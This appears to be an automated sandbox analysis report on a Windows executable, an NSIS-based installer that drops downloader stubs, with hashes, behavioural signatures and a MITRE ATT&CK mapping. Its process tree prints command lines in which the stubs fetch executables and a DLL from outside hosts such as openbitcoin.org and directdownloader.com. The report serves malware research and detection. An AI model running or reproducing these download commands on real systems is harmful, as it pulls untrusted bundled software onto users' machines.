36b223c3c575d1e0c629844656e495ca413fae0484fc6101816b12d31238e4e5

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
07-03-2024 23:50

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General

Target

b9fa59cf1724f5edbb8672533afaed8c.exe
Size

492KB
MD5

b9fa59cf1724f5edbb8672533afaed8c
SHA1

649617679ac1f770e7920d54a960a433510178f5
SHA256

36b223c3c575d1e0c629844656e495ca413fae0484fc6101816b12d31238e4e5
SHA512

cf46fccf6453842ff99a30d9a8001bbec2ab8255a268aea4ce7064654b0948179e210bb6177c35fd543bad74b4a126bfae4d111e575c8f2208b43c86650a4837
SSDEEP

6144:nuk4fqjbXQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:B4fwj6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
1868	downloaderSTUB.exe
1424	downloaderSTUB.exe
2808	downloaderSTUB.exe
4444	downloaderDDLR.exe
1544	downloaderOFFER0.exe
2008	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
1424	downloaderSTUB.exe
1868	downloaderSTUB.exe
2808	downloaderSTUB.exe
4444	downloaderDDLR.exe
1544	downloaderOFFER0.exe
1424	downloaderSTUB.exe
1868	downloaderSTUB.exe
2808	downloaderSTUB.exe
4444	downloaderDDLR.exe
1544	downloaderOFFER0.exe
1424	downloaderSTUB.exe
1868	downloaderSTUB.exe
2808	downloaderSTUB.exe
4444	downloaderDDLR.exe
1544	downloaderOFFER0.exe
1424	downloaderSTUB.exe
1868	downloaderSTUB.exe
2808	downloaderSTUB.exe
4444	downloaderDDLR.exe
1544	downloaderOFFER0.exe
1424	downloaderSTUB.exe
1868	downloaderSTUB.exe
2808	downloaderSTUB.exe
4444	downloaderDDLR.exe
1544	downloaderOFFER0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023205-4.dat	nsis_installer_1
behavioral2/files/0x0007000000023205-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 1868	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	88
PID 4580 wrote to memory of 1868	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	88
PID 4580 wrote to memory of 1868	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	88
PID 4580 wrote to memory of 1424	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	89
PID 4580 wrote to memory of 1424	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	89
PID 4580 wrote to memory of 1424	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	89
PID 4580 wrote to memory of 2808	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	90
PID 4580 wrote to memory of 2808	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	90
PID 4580 wrote to memory of 2808	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	90
PID 4580 wrote to memory of 4444	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	91
PID 4580 wrote to memory of 4444	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	91
PID 4580 wrote to memory of 4444	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	91
PID 4580 wrote to memory of 1544	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	92
PID 4580 wrote to memory of 1544	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	92
PID 4580 wrote to memory of 1544	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	92
PID 4580 wrote to memory of 2008	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	93
PID 4580 wrote to memory of 2008	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	93
PID 4580 wrote to memory of 2008	4580	b9fa59cf1724f5edbb8672533afaed8c.exe	93

C:\Users\Admin\AppData\Local\Temp\b9fa59cf1724f5edbb8672533afaed8c.exe
"C:\Users\Admin\AppData\Local\Temp\b9fa59cf1724f5edbb8672533afaed8c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4580
- C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1868
- C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1424
- C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2808
- C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4444
- C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1544
- C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\preinstaller.exe 0 "WINDOWS 7 ULTIMATE X86 X64 ISOPL" "Download"
  2⤵
  - Executes dropped EXE
  PID:2008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\26f643b721dc131b42ab133d0bdd1a47\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsr4C3C.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2008-46-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/4580-45-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download